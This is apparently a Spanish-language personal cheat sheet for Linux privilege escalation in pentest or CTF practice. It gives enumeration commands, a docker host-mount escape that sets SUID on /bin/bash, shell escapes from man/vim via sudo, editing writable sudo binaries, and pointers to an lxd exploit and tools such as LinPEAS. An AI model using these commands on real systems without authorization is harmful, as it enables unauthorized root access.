Primeras comprobaciones #
#### Grupos de usuario
###Ver si esta el usuario en algun grupo interesante, como el de docker
id
#### Ejecución de tareas como root
sudo -l
#### Permisos SUID, GUID y Binarios SH
find / -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null
find / -name *.sh
find / -name *.py
#### Versión de sudo
### teniendo la version de sudo se puede buscar alguna vulnerabilidad
sudo -V
#### Version del S.O
lsb_release -a
#### Version de kernel
uname -r
#### Listar tareas cron
ps -aux | grep cron
cat /etc/crontab
cat /etc/cron.d
crontab -l
#### Comprobar grupos
### A veces nuestro usuario no tiene privilegios, pero si el grupo al que pertenece.
id
find / -group "grupo" -ls 2>/dev/null
###
Si pertenecemos al grupo pcap, mirar el apartado de "Wireshark" en la web
Si pertenecemos a un grupo que pueda ejecutar python, y encontramos un .py editable, podemos escalar facilmente.
#### Buscar capturas de wireshark
find / -name *.pcap* 2>/dev/null
#### Mirar las variables de entorno
### En ocasiones podemos encontrar credenciales, o aprovechar para ver si hay algo raro en el path
env
#### Comprobar el historial
history
cat $HOME/.bash_history
#### Comprobar servicios locales
### En ocasiones tenemos servicios como Mysql o algun panel de admin que solo funciona desde la máquina local, hay 2 maneras:
netstat -tuln
ss -tuln
### Capabilities
getcap -r / 2>/dev/null
### Mirar directorio opt
ls -la /opt
#TIPS
Mirar en /opt
Mirar si hubiera credenciales de root en ficheros de conexion a bases de datos, en caso de tener una web.
Mirar /home de usuarios
Mirar /etc/passwd para descubrir usuarios
Mirar binarios interesantes y si es necesario descompilar con ghidra
SI NADA DE LO DE ARRIBA FUNCIONA, MIRAR RESTO DE SECCIONES DE HACKING LINUX
Docker #
Pudiendo ejecutar docker sin ser root, se puede escalar privilegios y montar el sistema de ficheros de la maquina real en el contenedor de forma que podremos acceder a todo.
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
NOTA Seremos root en el contenedor, no en la máquina. Pero podremos acceder a todo el sistema de ficheros, una vez hecho esto:
chmod u+s /bin/bash
bash -p
Binario con permisos de edición y ejecución #
Con sudo -l vemos que se puede ejecutar como root, sus permisos nos deja editar el fichero, algo así ==rwxrwxrwx==. editamos dicho binario y le metemos el comando==su -==.
Pivoting / escalada privilegios con man #
Tanto escalada como pivoting, si podemos ejecutar un binario como otro usuario (Sudo -L), y este binario tiene un manual, este se nos abre con vim. Lo que ocurre es que vim tiene un modo de comandos, en el que facilmente podemos hacer un:
!/bin/bash
y nos lanzamos una bash como ese usuario con el que ejecutamos el binario.
sudo -u usuario /bin/binario
Vulnerabilidad lxd #
si el usuario pertenede al grupo lxd, (comprobar con comando id), existe un exploit para escalar privilegios a root. https://github.com/initstring/lxd_root
Herramientas automatizadas escalada privilegios #
LES (Linux exploit suggester) #
Linux Exploit Suggester Herramienta que busca vulnerabilidades a nivel de kernel de linux
linPEAS #
LinPEAS Herramienta que busca posibles malas configuraciones en la maquina para intentar escalar privilegios
Pspy #
Pspy Herramienta para monitorizar tareas cron
Linux exploit suggester (Kernel exploits) #
Automatizacion para tratar de buscar vulnerabilidades a nivel de kernel y más, Linux exploit suggester V1 Linux exploit suggester V2